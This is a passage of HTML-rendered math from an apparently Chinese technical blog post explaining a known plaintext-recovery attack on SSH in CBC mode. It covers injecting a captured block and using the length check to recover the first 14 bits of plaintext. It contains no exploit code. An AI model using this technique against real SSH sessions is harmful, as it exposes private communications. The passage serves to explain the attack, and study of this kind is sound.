class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.32833099999999993em;"><span style="top:-2.5500000000000003em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.07153em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault">i</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8388800000000001em;vertical-align:-0.19444em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span><span class="mord mathdefault">n</span></span></span></span></span></p><p>其中<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>c</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">c_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.30110799999999993em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>为IV，也可以是BBP 中获取的最后一个加密数据块<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>c</mi><mi>n</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup></mrow><annotation encoding="application/x-tex">c&#x27;_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.998892em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">n</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span></span></span></span>。<br>对于解密，则有</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>p</mi><mi>i</mi></msub><mo>=</mo><msub><mi>c</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msub><mo lspace="0em" rspace="0em">⊕</mo><msubsup><mi>F</mi><mi>K</mi><mrow><mo>−</mo><mn>1</mn></mrow></msubsup><mo stretchy="false">(</mo><msub><mi>c</mi><mi>i</mi></msub><mo stretchy="false">)</mo><mo separator="true">,</mo><mi>i</mi><mo>=</mo><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi mathvariant="normal">.</mi><mi>n</mi></mrow><annotation encoding="application/x-tex">p_i = c_{i-1} {\oplus}F^{-1}_K (c_i), i=1,2,...n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.19444em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.14777em;vertical-align:-0.28366199999999997em;"></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.311664em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.208331em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-2.416338em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.07153em;">K</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.28366199999999997em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault">i</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.8388800000000001em;vertical-align:-0.19444em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord">.</span><span class="mord">.</span><span class="mord">.</span><span class="mord mathdefault">n</span></span></span></span></span></p><h4 id="前14bit猜测">前14bit猜测</h4><p>我们假设作为<strong>攻击者</strong>，我们截获了一个加密数据包<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>c</mi><mi>i</mi><mo>∗</mo></msubsup></mrow><annotation encoding="application/x-tex">c^*_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.94736em;vertical-align:-0.258664em;"></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.688696em;"><span style="top:-2.441336em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.258664em;"><span></span></span></span></span></span></span></span></span></span>，此时我们有如下关系</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>p</mi><mi>i</mi><mo>∗</mo></msubsup><mo>=</mo><msubsup><mi>c</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow><mo>∗</mo></msubsup><mo lspace="0em" rspace="0em">⊕</mo><msubsup><mi>F</mi><mi>K</mi><mrow><mo>−</mo><mn>1</mn></mrow></msubsup><mo stretchy="false">(</mo><msubsup><mi>c</mi><mi>i</mi><mo>∗</mo></msubsup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">p^*_i = c^*_{i-1} {\oplus}F^{-1}_K (c^*_i)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9856959999999999em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7386959999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.169439em;vertical-align:-0.305331em;"></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.738696em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.1130000000000004em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.305331em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-2.416338em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.07153em;">K</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.28366199999999997em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7386959999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>假设我们把这个数据包插入到下一个Packet的开头，此时我们假设</p><ul><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>c</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">c_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>为当前连接中，上一个packet的最后一个block。这个block本来是要作为IV被使用的</li></ul><p>那么此时的解密流程如下</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>p</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo>=</mo><msub><mi>c</mi><mi>n</mi></msub><mo lspace="0em" rspace="0em">⊕</mo><msubsup><mi>F</mi><mi>K</mi><mrow><mo>−</mo><mn>1</mn></mrow></msubsup><mo stretchy="false">(</mo><msubsup><mi>c</mi><mi>i</mi><mo>∗</mo></msubsup><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">p&#x27;_1 = c_{n} {\oplus}F^{-1}_K (c^*_i)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.048892em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8018919999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.14777em;vertical-align:-0.28366199999999997em;"></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault" style="margin-right:0.13889em;">F</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8641079999999999em;"><span style="top:-2.416338em;margin-left:-0.13889em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.07153em;">K</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.28366199999999997em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7386959999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p>综合上述算式，我们能得到</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>p</mi><mi>i</mi><mo>∗</mo></msubsup><mo>=</mo><msubsup><mi>c</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow><mo>∗</mo></msubsup><mo lspace="0em" rspace="0em">⊕</mo><msubsup><mi>p</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo lspace="0em" rspace="0em">⊕</mo><msub><mi>c</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">p^*_i = c^*_{i-1}{\oplus}p&#x27;_1{\oplus}c_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9856959999999999em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7386959999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.1072229999999998em;vertical-align:-0.305331em;"></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.738696em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.1130000000000004em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.305331em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8018919999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p>由于我们为中间人，因此可以假设我们能获取所有的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>c</mi><mi>i</mi></msub></mrow><annotation encoding="application/x-tex">c_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.58056em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.31166399999999994em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。假设当我们插入数据包之后，出现如下的状态：</p><ul><li>状态一：SSH突然终止，没有出现任何错误信息</li><li>状态二：SSH开始等待更多的数据输入</li></ul><p>这均说明，程序已经通过了前文提到的<strong>长度检测</strong>。也就是说，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>p</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup></mrow><annotation encoding="application/x-tex">p&#x27;_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.24810799999999997em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.751892em;"><span style="top:-2.4518920000000004em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.24810799999999997em;"><span></span></span></span></span></span></span></span></span></span>的长度范围符合要求，也就是<strong>前14bit的数据一定为0</strong>。那么根据</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>p</mi><mi>i</mi><mo>∗</mo></msubsup><mo>=</mo><msubsup><mi>c</mi><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow><mo>∗</mo></msubsup><mo lspace="0em" rspace="0em">⊕</mo><msubsup><mi>p</mi><mn>1</mn><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo lspace="0em" rspace="0em">⊕</mo><msub><mi>c</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">p^*_i = c^*_{i-1}{\oplus}p&#x27;_1{\oplus}c_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9856959999999999em;vertical-align:-0.247em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7386959999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1.1072229999999998em;vertical-align:-0.305331em;"></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.738696em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.1130000000000004em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.305331em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8018919999999999em;"><span style="top:-2.4530000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord">⊕</span></span><span class="mord"><span class="mord mathdefault">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.151392em;"><span style="top:-2.5500000000000003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p>就能获得当前的某个<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>p</mi><mi>i</mi><mo>∗</mo></msubsup></mrow><annotation encoding="application/x-tex">p^*_i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.94736em;vertical-align:-0.258664em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.688696em;"><span style="top:-2.441336em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight">i</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">∗</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.258664em;"><span></span></span></span></span></span></span></span></span></span>的前14bit</p><p>Q：怎么找到下一个连接开头呢？<br>A：虽然没办法直接观察到Packet开头，但是可以通过观察数据通过的情况来判断什么时候有新的Packet进来</p><h4 id="所有bit恢复">所有bit恢复</h4><p>假设我们通过<strong>block长度check</strong>，也就是进入上述的状态二，那么此时会持续的接受block，直到下面的判断不满足要求:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (buffer_len(&amp;input) &lt; need + maclen)</span><br><span class="line"><span class="keyword">return</span> SSH_MSG_NONE;</span><br></pre></td></tr></table></figure><p>那么此时，我们就持续不断的插入<code>[1,maclen]</code>个数的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>L</mi></mrow><annotation encoding="application/x-tex">L</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord 